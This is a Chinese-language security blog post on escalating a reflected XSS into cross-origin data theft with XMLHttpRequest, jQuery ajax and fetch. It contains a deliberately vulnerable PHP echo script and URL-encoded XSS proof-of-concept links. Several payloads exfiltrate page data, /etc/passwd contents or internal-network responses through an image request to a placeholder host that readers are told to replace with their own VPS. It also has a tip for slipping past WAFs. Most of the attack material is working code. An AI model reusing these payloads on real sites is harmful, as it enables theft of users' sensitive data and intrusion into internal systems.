巧用javascript ajax,實現跨域請求外帶,增大漏洞危害

飄渺紅塵✨發表於2021-05-19

  今天聊聊javascript ajax發起請求,獲取資料:

   實在是漏洞挖掘中,經常會用到,學好javascript實在是太有用了

   JS原生請求:

    

XMLHttpRequest(XHR)物件用於與伺服器互動。通過 XMLHttpRequest 可以在不重新整理頁面的情況下請求特定 URL,獲取資料。這允許網頁在不影響使用者操作的情況下,更新頁面的區域性內容。所以XMLHttpRequest物件是Ajax技術的核心所在。

  藉助xhr:

  寫個demo:  

     

 

 

  在我的vps上新建一個文字檔案,內容是test:

   通過xhr建立物件獲取test資料:

   

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <script type="text/javascript">
       //建立xmlHttp物件
        xmlHttp = new XMLHttpRequest;
       //發起請求,設定false,代表非非同步請求
        xmlHttp.open('GET','http://119.45.227.86/test.txt',false)
   //傳送get請求資料,所以預設是空
        xmlHttp.send();
        //列印輸出獲取到的資料
        console.log(xmlHttp.responseText);
    </script>
</body>
</html>
    

  直接本地執行,看看能否成功列印出test:

    直接本地訪問:

    

 

  

1.html:10 Access to XMLHttpRequest at 'http://119.45.227.86/test.txt' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
(anonymous) @ 1.html:10

 

  檢視console,發現直接報錯,禁止我們跨越訪問,那麼這裡的解決方案是什麼?

   服務端設定Access-Control-Allow-Origin為*號,但是這很顯然不可能,在真正的實戰環境下,Access-Control-Allow-Origin都是為定義的信任域名,我們把上面的程式碼放到我們的vps上然後執行:

    http://119.45.227.86/ajax.html

    

 

 

  結論:在信任域下我們可以通過傳送請求獲取敏感資料

  假設網站設定Access-Control-Allow-Origin=*.example.com

  那麼我們可以怎麼跨域獲取?

   (1)尋找反射xss

   (2)尋找jsonp/cors劫持點

  jsonp本身就是解決跨域問題的,那麼本身就是存在漏洞的,敏感的jsonp介面,可以劫持敏感資料,我們以反射xss為例子:

   自己寫個demo:

      

<?php
    $x=$_GET['x'];
    echo $x;

  非常簡單的,沒有任何檢測輸入和輸出

  假設http://119.45.227.86/xss_test.php?x=可控,存在xss漏洞,那麼我們直接提交給src,就是低危,但是我們轉換思路,xss本質就是執行js,我們構造js從而導致敏感介面資料劫持:

    構造poc:

      

http://119.45.227.86/xss_test.php?x=%3Cscript%3ExmlHttp%20=%20new%20XMLHttpRequest;%20xmlHttp.open(%27GET%27,%27http://119.45.227.86/test.txt%27,false);%20xmlHttp.send();%20console.log(xmlHttp.responseText);%3C/script%3E

 

      

 

 

  這樣我們就可以通過一個反射xss,跨域獲取到敏感資料

  關於資料外帶,方法有很多,提一種:

    利用img實現敏感資料資料外帶:

    修改poc:

    

http://119.45.227.86/xss_test.php?x=%3Cscript%3ExmlHttp%20=%20new%20XMLHttpRequest;%20xmlHttp.open(%27GET%27,%27http://119.45.227.86/test.txt%27,false);%20xmlHttp.send();%20c%20=%20xmlHttp.responseText;%20i=document.createElement(%27img%27);%20i.src=%27http://baidu.com?c=%27%2bc;%20document.body.appendChild(i);%3C/script%3E

    實際上script裡面程式碼是:

      

<script type="text/javascript">
        xmlHttp = new XMLHttpRequest;
        xmlHttp.open('GET','http://119.45.227.86/test.txt',false);
        xmlHttp.send();
        c = xmlHttp.responseText;
        i=document.createElement('img');
        i.src='http://baidu.com?c='+c;
        document.body.appendChild(i);
    </script>

  

http://119.45.227.86/xss_test.php?x=%3Cscript%3ExmlHttp%20=%20new%20XMLHttpRequest;%20xmlHttp.open(%27GET%27,%27http://119.45.227.86/test.txt%27,false);%20xmlHttp.send();%20c%20=%20xmlHttp.responseText;%20i=document.createElement(%27img%27);%20i.src=%27http://baidu.com?c=%27%2bc;%20document.body.appendChild(i);%3C/script%3E

 

  

 

 

     把baidu.com改成你的vps ip地址即可實現資料外帶

    那麼你這個反射xss還是低危嗎??深入利用漏洞一定是有用的

     除了使用javascript原生髮起請求外,還可以使用第三方庫,如引用了Jquery庫的站,可以使用$.ajax.$.get等:

    程式碼如下:  

      

$.get('http://example.com', function(responseText) {
    alert(responseText);
});

  jquery發起ajax請求的方法有很多種,這裡一筆帶過,使用ajax的好處就是有時候waf會攔截xhr物件,使用jquery ajax發起請求,可以無視waf攔截

    

  使用ES6 Fetch函式發起請求,實現敏感資料獲取:

    寫個demo:

    

<script>
    fetch("http://119.45.227.86/test.txt").then(response => response.text()).then(html=>console.log(html));
</script>

  如果沒設定Access-Control-Allow-Origin為*,那麼本地訪問:

    

 

 

   直接報錯:

  去信任域上訪問:http://119.45.227.86/fetch.html

  

 

 

    

假設網站設定Access-Control-Allow-Origin=*.example.com

  那麼我們可以可以通過xss獲取網站敏感資料:

  poc:

    

http://119.45.227.86/xss_test.php?x=%3Cscript%3Efetch(%22http://119.45.227.86/test.txt%22).then(response%20=%3E%20response.text()).then(html=%3Econsole.log(html));%3C/script%3E

 成功獲取到敏感資料test

 

 

  fetch請求敏感資料外帶:

    

fetch("http://119.45.227.86/test.txt").then(response => response.text()).then(html=>document.body.innerHTML='<img src=http://baidu.com?c='+html+'>');

  

    

 

 

   把baidu.com換成自己的vps ip即可

  擴大思維:

    如果是客戶端的客戶端xss:

    直接可以任意檔案讀取:

    

fetch("file:///etc/passwd").then(response => response.text()).then(html=>document.body.innerHTML='<img src=http://baidu.com?c='+html+'>');

  ssrf:

    

fetch("http://內網ip").then(response => response.text()).then(html=>document.body.innerHTML='<img src=http://baidu.com?c='+html+'>');

 

算是拋磚引玉了  

 

   

    

    

相關文章